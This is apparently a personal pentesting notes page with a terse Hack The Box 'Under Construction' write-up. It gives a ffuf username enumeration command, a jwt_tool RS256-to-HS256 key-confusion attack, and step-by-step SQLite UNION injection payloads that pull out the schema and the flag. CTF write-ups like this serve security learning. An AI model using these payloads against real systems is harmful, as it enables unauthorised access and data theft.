Notes
  • šŸ‘€About me
  • ā„¹ļøGood Reads
  • 🌐Web
    • Web Pentesting Checklist
    • Insecure Deserialization
    • Blind XPath Injection
    • GraphQL
    • Reverse Shells
      • IIS
    • Content-Security-Policy
      • XSS (Static Nonce in CSP)
    • LLM (Large Language Models)
  • šŸ“˜Windows API
    • C# - P/Invoke
  • ā˜•Miscellaneous Topics
    • Phishing with Gophish
    • Pentest Diaries
      • SQL Queries via Grafana
      • LDAP Pass Back Attack
      • Misconfigured File Upload to RCE
  • 🧃Hack The Box
    • Intelligence
    • Seal
    • Under Construction
    • Previse
    • Return
    • Sauna
    • Nest
  • šŸ“•TryHackMe
    • Wordpress CVE-2021-29447
    • Attacktiv
    • Fortress
    • internal
  • šŸ› ļøCheatsheet
    • Anti-Forensic Techniques
    • JSON - jq
    • Docker
    • Hidden Secrets
    • Database Exploitation
      • PostgreSQL
        • Blind SQLi script
      • SQL Server
    • C Sharp
    • Reversing
      • Windows
    • SSH
    • Python
      • Miscellaneous Scripts
        • Credential Bruteforcing a CLI service
    • Privilege Escalation
      • Windows
    • socat
    • OSINT
      • Shodan
    • Installation
Powered by GitBook
On this page

Was this helpful?

  1. Hack The Box

Under Construction

PreviousSealNextPrevise

Last updated 3 years ago

Was this helpful?

ffuf -request req -w ../../usernames.txt -mr exists -u -s Usernames: gale rosie • Key Confusion [RS256 > HS256] ./jwt_tool.py -t -rc "session=[jwt]" -X k -pk ../../challenges/uc/pk -v • sqlite_version() <> -I -pc username -pv "test123' union select 1,sqlite_version(),3 -- " • table name -I -pc username -pv "test123' union select 1,(select tbl_name from sqlite_master limit 0,1),3 -- " • column names [table create query in output is referred to check the column names] -I -pc username -pv "test123' union select 1,(select sql from sqlite_master limit 0,1),3 -- " • flag -I -pc username -pv "test123' union select 1,(select <column-name> from <tname> limit 0,1),3 -- " ------------------------------------------------- observations: ------------------------------------------------- • JWT public key is present in JWT token • Enumerate usernames • JWT key confusion due to accepting both RS256 and HS256 • sqli is present on getUser request as input not escaped

🧃
http://209.97.132.64:32647/auth
http://209.97.132.64:32365/